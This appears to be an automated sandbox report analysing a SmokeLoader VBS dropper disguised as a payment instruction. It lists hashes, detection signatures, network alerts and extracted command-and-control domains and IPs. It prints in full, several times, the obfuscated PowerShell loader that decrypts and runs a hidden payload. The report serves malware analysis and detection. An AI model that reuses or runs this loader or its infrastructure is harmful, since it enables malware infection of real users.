Edit tour

Windows Analysis Report
#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.vbs

Overview

General Information

Sample name:	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.vbs renamed because original name is a hash value
Original sample name:	i ii.vbs
Analysis ID:	1578027
MD5:	4c2a534b731225c4afa0409c6c16ae19
SHA1:	97c5cf1b10a2036a0f897883d00bcf11b3c8a93c
SHA256:	06fe27eb26975a1cb680fff55f815be29e440a0f2312dbc93171f6aa822fb441
Tags:	vbsuser-abuse_ch
Infos:

Detection

SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

VBScript performs obfuscated calls to suspicious functions

Yara detected SmokeLoader

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Powershell drops PE file

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Abnormal high CPU Usage

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2068 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 6012 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function kzVl($BRaA){return -split ($BRaA -replace '..', '0x$& ')};$Qiyjc = kzVl('583A9978E4D34538992E1A1351EF94C76F346575AEA09EB513401549161877EAF16C217FA53FAF8E9F5A6B6C98F436132CD64686F84B385701DF5CB57A496A57D083A739BD167A16F22386779010D0352280C205381DB165BF369C1DDC1AB0B20826DFB010CFDDCDFA3710E79E1F0DF5396A3CDCB1519A0E59214CB85DD8D5DB3598F5C3CC2D2307A104A5856E89829E0A80D0286C7C00A59C9857283FBDB29EB8E496DD4C09DA9F275960328E5AC89D55EBD3DCFED16A96B6882267D9DCBB1521E1A44EEC3CE3DA70C185B6D12547011407D8226CD2AE3CE2F55821F81B446119C95B163DB7DC61D936658509E877C1C06861FB6361BE198E404AE7F361887E373DC1A99E729EA6BCAD34C16C098676CBD7B34C34B4F6155017983594876DAC6BDB2C587F4A232BC97779B63E1A9088C50429F113E053CF31D6547C6D7F0ABE12F1F0B6A3F596803EBE69B5D5A6D1179C28BCAA989E167C59B3FF802844CBD654C0D6740476BF8F45699EB7ADB664C116B89504C4839F998A91C64E5E71E61B29061402831AAC2A34042CD38B595CF64B56303C0B9F31CEFD6C1F6AFD8BEDDEA69D470D2A173FC1496F22674C3559B74CED02F1DCEC4DABB38BA293DA8F762959B7DDA301EEA24D6B450354B04288F6385A2B2EDB10FA89F0D27FF2907D00A53F937FD89AB58F6811A166D5A633234208A16F44C7E1FDA1CA5781750D0FD0698B225A66882E2BC56217A52CCBF79E80ED2ABC2CDC8039511450AF5B112EADDA510CE1EED99D3EBFDAD959AB50B58880B9E56EC313C6B087C011B3DA810C2A5E3C6A90C69061B7B3ECED35C713C11874F6763FA79F0691D4FF8B99159BF1A716F811E9CBB8F818216B8AEF751BF044FBFE9DAA0CB892645C05F5D407EFED774BA5689A68FE5547020C0FE72F39D5ACA4');$mZBMz=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((kzVl('72786673574B4C516874716D49544E50')),[byte[]]::new(16)).TransformFinalBlock($Qiyjc,0,$Qiyjc.Length)); & $mZBMz.Substring(0,3) $mZBMz.Substring(3) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

putty.exe (PID: 2056 cmdline: "C:\Users\user\AppData\Roaming\putty.exe" MD5: C02B57E6771A13513DC087F6B45ADAB0)

explorer.exe (PID: 4084 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

edrecib (PID: 3976 cmdline: C:\Users\user\AppData\Roaming\edrecib MD5: C02B57E6771A13513DC087F6B45ADAB0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://constractionscity1991.lat/", "http://restructurisationservice.ru/", "http://connecticutproperty.ru/"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.1635941173.0000000000530000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x11c92:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000004.00000002.1638027397.0000000000731000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.1638027397.0000000000731000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x204:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000007.00000002.1858608967.0000000000530000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x11c92:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000007.00000002.1858830240.0000000000981000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000007.00000002.1858830240.0000000000981000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x204:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000004.00000002.1636745792.0000000000600000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.1636745792.0000000000600000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x604:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000004.00000003.1568194811.0000000000600000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000007.00000002.1858660361.00000000005B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000004.00000002.1636678804.00000000005F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000007.00000003.1807981755.00000000005C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000007.00000002.1858680191.00000000005C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000007.00000002.1858680191.00000000005C0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x604:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
Process Memory Space: powershell.exe PID: 6012	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xae666:$b1: ::WriteAllBytes( 0xaebf0:$b1: ::WriteAllBytes( 0x658:$s1: -join 0xe4f:$s1: -join 0x1501:$s1: -join 0xcc7d:$s1: -join 0x19d52:$s1: -join 0x1d124:$s1: -join 0x1d7d6:$s1: -join 0x1f2c7:$s1: -join 0x214cd:$s1: -join 0x21cf4:$s1: -join 0x22564:$s1: -join 0x22c9f:$s1: -join 0x22cd1:$s1: -join 0x22d19:$s1: -join 0x22d38:$s1: -join 0x23588:$s1: -join 0x23704:$s1: -join 0x2377c:$s1: -join 0x2380f:$s1: -join
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author
4.2.putty.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
7.3.edrecib.5c0000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
4.3.putty.exe.600000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
7.2.edrecib.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
4.2.putty.exe.5f0e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
7.2.edrecib.5b0e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.vbs", ProcessId: 2068, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function kzVl($BRaA){return -split ($BRaA -replace '..', '0x$& ')};$Qiyjc = kzVl('583A9978E4D34538992E1A1351EF94C76F346575AEA09EB513401549161877EAF16C217FA53FAF8E9F5A6B6C98F436132CD64686F84B385701DF5CB57A496A57D083A739BD167A16F22386779010D0352280C205381DB165BF369C1DDC1AB0B20826DFB010CFDDCDFA3710E79E1F0DF5396A3CDCB1519A0E59214CB85DD8D5DB3598F5C3CC2D2307A104A5856E89829E0A80D0286C7C00A59C9857283FBDB29EB8E496DD4C09DA9F275960328E5AC89D55EBD3DCFED16A96B6882267D9DCBB1521E1A44EEC3CE3DA70C185B6D12547011407D8226CD2AE3CE2F55821F81B446119C95B163DB7DC61D936658509E877C1C06861FB6361BE198E404AE7F361887E373DC1A99E729EA6BCAD34C16C098676CBD7B34C34B4F6155017983594876DAC6BDB2C587F4A232BC97779B63E1A9088C50429F113E053CF31D6547C6D7F0ABE12F1F0B6A3F596803EBE69B5D5A6D1179C28BCAA989E167C59B3FF802844CBD654C0D6740476BF8F45699EB7ADB664C116B89504C4839F998A91C64E5E71E61B29061402831AAC2A34042CD38B595CF64B56303C0B9F31CEFD6C1F6AFD8BEDDEA69D470D2A173FC1496F22674C3559B74CED02F1DCEC4DABB38BA293DA8F762959B7DDA301EEA24D6B450354B04288F6385A2B2EDB10FA89F0D27FF2907D00A53F937FD89AB58F6811A166D5A633234208A16F44C7E1FDA1CA5781750D0FD0698B225A66882E2BC56217A52CCBF79E80ED2ABC2CDC8039511450AF5B112EADDA510CE1EED99D3EBFDAD959AB50B58880B9E56EC313C6B087C011B3DA810C2A5E3C6A90C69061B7B3ECED35C713C11874F6763FA79F0691D4FF8B99159BF1A716F811E9CBB8F818216B8AEF751BF044FBFE9DAA0CB892645C05F5D407EFED774BA5689A68FE5547020C0FE72F39D5ACA4');$mZBMz=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((kzVl('72786673574B4C516874716D49544E50')),[byte[]]::new(16)).TransformFinalBlock($Qiyjc,0,$Qiyjc.Length)); & $mZBMz.Substring(0,3) $mZBMz.Substring(3), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function kzVl($BRaA){return -split ($BRaA -replace '..', '0x$& ')};$Qiyjc = kzVl('583A9978E4D34538992E1A1351EF94C76F346575AEA09EB513401549161877EAF16C217FA53FAF8E9F5A6B6C98F436132CD64686F84B385701DF5CB57A496A57D083A739BD167A16F22386779010D0352280C205381DB165BF369C1DDC1AB0B20826DFB010CFDDCDFA3710E79E1F0DF5396A3CDCB1519A0E59214CB85DD8D5DB3598F5C3CC2D2307A104A5856E89829E0A80D0286C7C00A59C9857283FBDB29EB8E496DD4C09DA9F275960328E5AC89D55EBD3DCFED16A96B6882267D9DCBB1521E1A44EEC3CE3DA70C185B6D12547011407D8226CD2AE3CE2F55821F81B446119C95B163DB7DC61D936658509E877C1C06861FB6361BE198E404AE7F361887E373DC1A99E729EA6BCAD34C16C098676CBD7B34C34B4F6155017983594876DAC6BDB2C587F4A232BC97779B63E1A9088C50429F113E053CF31D6547C6D7F0ABE12F1F0B6A3F596803EBE69B5D5A6D1179C28BCAA989E167C59B3FF802844CBD654C0D6740476BF8F45699EB7ADB664C116B89504C4839F998A91C64E5E71E61B29061402831AAC2A34042CD38B595CF64B56303C0B9F31CEFD6C1F6AFD8BEDDEA69D470D2A173FC1496F22674C3559B74CED02F1DCEC4DABB38BA293DA8F762959B7DDA301EEA24D6B450354B04288F6385A2B2EDB10FA89F0D27FF2907D00A53F937FD89AB58F6811A166D5A633234208A16F44C7E1FDA1CA5781750D0FD0698B225A66882E2BC56217A52CCBF79E80ED2ABC2CDC8039511450AF5B112EADDA

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\edrecib, CommandLine: C:\Users\user\AppData\Roaming\edrecib, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\edrecib, NewProcessName: C:\Users\user\AppData\Roaming\edrecib, OriginalFileName: C:\Users\user\AppData\Roaming\edrecib, ParentCommandLine: , ParentImage: , ParentProcessId: 660, ProcessCommandLine: C:\Users\user\AppData\Roaming\edrecib, ProcessId: 3976, ProcessName: edrecib

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6012, TargetFilename: C:\Users\user\AppData\Roaming\putty.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.vbs", ProcessId: 2068, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function kzVl($BRaA){return -split ($BRaA -replace '..', '0x$& ')};$Qiyjc = kzVl('583A9978E4D34538992E1A1351EF94C76F346575AEA09EB513401549161877EAF16C217FA53FAF8E9F5A6B6C98F436132CD64686F84B385701DF5CB57A496A57D083A739BD167A16F22386779010D0352280C205381DB165BF369C1DDC1AB0B20826DFB010CFDDCDFA3710E79E1F0DF5396A3CDCB1519A0E59214CB85DD8D5DB3598F5C3CC2D2307A104A5856E89829E0A80D0286C7C00A59C9857283FBDB29EB8E496DD4C09DA9F275960328E5AC89D55EBD3DCFED16A96B6882267D9DCBB1521E1A44EEC3CE3DA70C185B6D12547011407D8226CD2AE3CE2F55821F81B446119C95B163DB7DC61D936658509E877C1C06861FB6361BE198E404AE7F361887E373DC1A99E729EA6BCAD34C16C098676CBD7B34C34B4F6155017983594876DAC6BDB2C587F4A232BC97779B63E1A9088C50429F113E053CF31D6547C6D7F0ABE12F1F0B6A3F596803EBE69B5D5A6D1179C28BCAA989E167C59B3FF802844CBD654C0D6740476BF8F45699EB7ADB664C116B89504C4839F998A91C64E5E71E61B29061402831AAC2A34042CD38B595CF64B56303C0B9F31CEFD6C1F6AFD8BEDDEA69D470D2A173FC1496F22674C3559B74CED02F1DCEC4DABB38BA293DA8F762959B7DDA301EEA24D6B450354B04288F6385A2B2EDB10FA89F0D27FF2907D00A53F937FD89AB58F6811A166D5A633234208A16F44C7E1FDA1CA5781750D0FD0698B225A66882E2BC56217A52CCBF79E80ED2ABC2CDC8039511450AF5B112EADDA510CE1EED99D3EBFDAD959AB50B58880B9E56EC313C6B087C011B3DA810C2A5E3C6A90C69061B7B3ECED35C713C11874F6763FA79F0691D4FF8B99159BF1A716F811E9CBB8F818216B8AEF751BF044FBFE9DAA0CB892645C05F5D407EFED774BA5689A68FE5547020C0FE72F39D5ACA4');$mZBMz=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((kzVl('72786673574B4C516874716D49544E50')),[byte[]]::new(16)).TransformFinalBlock($Qiyjc,0,$Qiyjc.Length)); & $mZBMz.Substring(0,3) $mZBMz.Substring(3), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function kzVl($BRaA){return -split ($BRaA -replace '..', '0x$& ')};$Qiyjc = kzVl('583A9978E4D34538992E1A1351EF94C76F346575AEA09EB513401549161877EAF16C217FA53FAF8E9F5A6B6C98F436132CD64686F84B385701DF5CB57A496A57D083A739BD167A16F22386779010D0352280C205381DB165BF369C1DDC1AB0B20826DFB010CFDDCDFA3710E79E1F0DF5396A3CDCB1519A0E59214CB85DD8D5DB3598F5C3CC2D2307A104A5856E89829E0A80D0286C7C00A59C9857283FBDB29EB8E496DD4C09DA9F275960328E5AC89D55EBD3DCFED16A96B6882267D9DCBB1521E1A44EEC3CE3DA70C185B6D12547011407D8226CD2AE3CE2F55821F81B446119C95B163DB7DC61D936658509E877C1C06861FB6361BE198E404AE7F361887E373DC1A99E729EA6BCAD34C16C098676CBD7B34C34B4F6155017983594876DAC6BDB2C587F4A232BC97779B63E1A9088C50429F113E053CF31D6547C6D7F0ABE12F1F0B6A3F596803EBE69B5D5A6D1179C28BCAA989E167C59B3FF802844CBD654C0D6740476BF8F45699EB7ADB664C116B89504C4839F998A91C64E5E71E61B29061402831AAC2A34042CD38B595CF64B56303C0B9F31CEFD6C1F6AFD8BEDDEA69D470D2A173FC1496F22674C3559B74CED02F1DCEC4DABB38BA293DA8F762959B7DDA301EEA24D6B450354B04288F6385A2B2EDB10FA89F0D27FF2907D00A53F937FD89AB58F6811A166D5A633234208A16F44C7E1FDA1CA5781750D0FD0698B225A66882E2BC56217A52CCBF79E80ED2ABC2CDC8039511450AF5B112EADDA

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function kzVl($BRaA){return -split ($BRaA -replace '..', '0x$& ')};$Qiyjc = kzVl('583A9978E4D34538992E1A1351EF94C76F346575AEA09EB513401549161877EAF16C217FA53FAF8E9F5A6B6C98F436132CD64686F84B385701DF5CB57A496A57D083A739BD167A16F22386779010D0352280C205381DB165BF369C1DDC1AB0B20826DFB010CFDDCDFA3710E79E1F0DF5396A3CDCB1519A0E59214CB85DD8D5DB3598F5C3CC2D2307A104A5856E89829E0A80D0286C7C00A59C9857283FBDB29EB8E496DD4C09DA9F275960328E5AC89D55EBD3DCFED16A96B6882267D9DCBB1521E1A44EEC3CE3DA70C185B6D12547011407D8226CD2AE3CE2F55821F81B446119C95B163DB7DC61D936658509E877C1C06861FB6361BE198E404AE7F361887E373DC1A99E729EA6BCAD34C16C098676CBD7B34C34B4F6155017983594876DAC6BDB2C587F4A232BC97779B63E1A9088C50429F113E053CF31D6547C6D7F0ABE12F1F0B6A3F596803EBE69B5D5A6D1179C28BCAA989E167C59B3FF802844CBD654C0D6740476BF8F45699EB7ADB664C116B89504C4839F998A91C64E5E71E61B29061402831AAC2A34042CD38B595CF64B56303C0B9F31CEFD6C1F6AFD8BEDDEA69D470D2A173FC1496F22674C3559B74CED02F1DCEC4DABB38BA293DA8F762959B7DDA301EEA24D6B450354B04288F6385A2B2EDB10FA89F0D27FF2907D00A53F937FD89AB58F6811A166D5A633234208A16F44C7E1FDA1CA5781750D0FD0698B225A66882E2BC56217A52CCBF79E80ED2ABC2CDC8039511450AF5B112EADDA510CE1EED99D3EBFDAD959AB50B58880B9E56EC313C6B087C011B3DA810C2A5E3C6A90C69061B7B3ECED35C713C11874F6763FA79F0691D4FF8B99159BF1A716F811E9CBB8F818216B8AEF751BF044FBFE9DAA0CB892645C05F5D407EFED774BA5689A68FE5547020C0FE72F39D5ACA4');$mZBMz=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((kzVl('72786673574B4C516874716D49544E50')),[byte[]]::new(16)).TransformFinalBlock($Qiyjc,0,$Qiyjc.Length)); & $mZBMz.Substring(0,3) $mZBMz.Substring(3), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function kzVl($BRaA){return -split ($BRaA -replace '..', '0x$& ')};$Qiyjc = kzVl('583A9978E4D34538992E1A1351EF94C76F346575AEA09EB513401549161877EAF16C217FA53FAF8E9F5A6B6C98F436132CD64686F84B385701DF5CB57A496A57D083A739BD167A16F22386779010D0352280C205381DB165BF369C1DDC1AB0B20826DFB010CFDDCDFA3710E79E1F0DF5396A3CDCB1519A0E59214CB85DD8D5DB3598F5C3CC2D2307A104A5856E89829E0A80D0286C7C00A59C9857283FBDB29EB8E496DD4C09DA9F275960328E5AC89D55EBD3DCFED16A96B6882267D9DCBB1521E1A44EEC3CE3DA70C185B6D12547011407D8226CD2AE3CE2F55821F81B446119C95B163DB7DC61D936658509E877C1C06861FB6361BE198E404AE7F361887E373DC1A99E729EA6BCAD34C16C098676CBD7B34C34B4F6155017983594876DAC6BDB2C587F4A232BC97779B63E1A9088C50429F113E053CF31D6547C6D7F0ABE12F1F0B6A3F596803EBE69B5D5A6D1179C28BCAA989E167C59B3FF802844CBD654C0D6740476BF8F45699EB7ADB664C116B89504C4839F998A91C64E5E71E61B29061402831AAC2A34042CD38B595CF64B56303C0B9F31CEFD6C1F6AFD8BEDDEA69D470D2A173FC1496F22674C3559B74CED02F1DCEC4DABB38BA293DA8F762959B7DDA301EEA24D6B450354B04288F6385A2B2EDB10FA89F0D27FF2907D00A53F937FD89AB58F6811A166D5A633234208A16F44C7E1FDA1CA5781750D0FD0698B225A66882E2BC56217A52CCBF79E80ED2ABC2CDC8039511450AF5B112EADDA

Suricata Signatures

ET MALWARE Sharik/Smoke CnC Beacon 11

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T07:52:52.629854+0100	2025993	1	Malware Command and Control Activity Detected	192.168.2.8	49712	94.156.177.51	80	TCP

ET MALWARE Suspected Smokeloader Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T07:52:50.817416+0100	2039103	1	A Network Trojan was detected	192.168.2.8	49711	94.156.177.51	80	TCP
2024-12-19T07:52:52.629854+0100	2039103	1	A Network Trojan was detected	192.168.2.8	49712	94.156.177.51	80	TCP
2024-12-19T07:53:14.751358+0100	2039103	1	A Network Trojan was detected	192.168.2.8	49713	109.70.26.37	80	TCP
2024-12-19T07:54:21.614261+0100	2039103	1	A Network Trojan was detected	192.168.2.8	49819	94.156.177.51	80	TCP
2024-12-19T07:54:23.208125+0100	2039103	1	A Network Trojan was detected	192.168.2.8	49825	94.156.177.51	80	TCP
2024-12-19T07:54:24.692618+0100	2039103	1	A Network Trojan was detected	192.168.2.8	49826	109.70.26.37	80	TCP
2024-12-19T07:54:26.614279+0100	2039103	1	A Network Trojan was detected	192.168.2.8	49832	94.156.177.51	80	TCP
2024-12-19T07:54:28.083025+0100	2039103	1	A Network Trojan was detected	192.168.2.8	49838	94.156.177.51	80	TCP
2024-12-19T07:54:29.692497+0100	2039103	1	A Network Trojan was detected	192.168.2.8	49843	109.70.26.37	80	TCP

ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T07:52:52.629854+0100	2851815	1	A Network Trojan was detected	192.168.2.8	49712	94.156.177.51	80	TCP
2024-12-19T07:54:21.614261+0100	2851815	1	A Network Trojan was detected	192.168.2.8	49819	94.156.177.51	80	TCP
2024-12-19T07:54:23.208125+0100	2851815	1	A Network Trojan was detected	192.168.2.8	49825	94.156.177.51	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\putty.exe	Avira: detection malicious, Label: HEUR/AGEN.1306978
Source: C:\Users\user\AppData\Roaming\edrecib	Avira: detection malicious, Label: HEUR/AGEN.1306978

Found malware configuration

Source: 00000004.00000002.1636745792.0000000000600000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://constractionscity1991.lat/", "http://restructurisationservice.ru/", "http://connecticutproperty.ru/"]}

Multi AV Scanner detection for submitted file

Source: #U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.vbs

ReversingLabs: Detection: 21%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\putty.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\edrecib	Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Roaming\putty.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

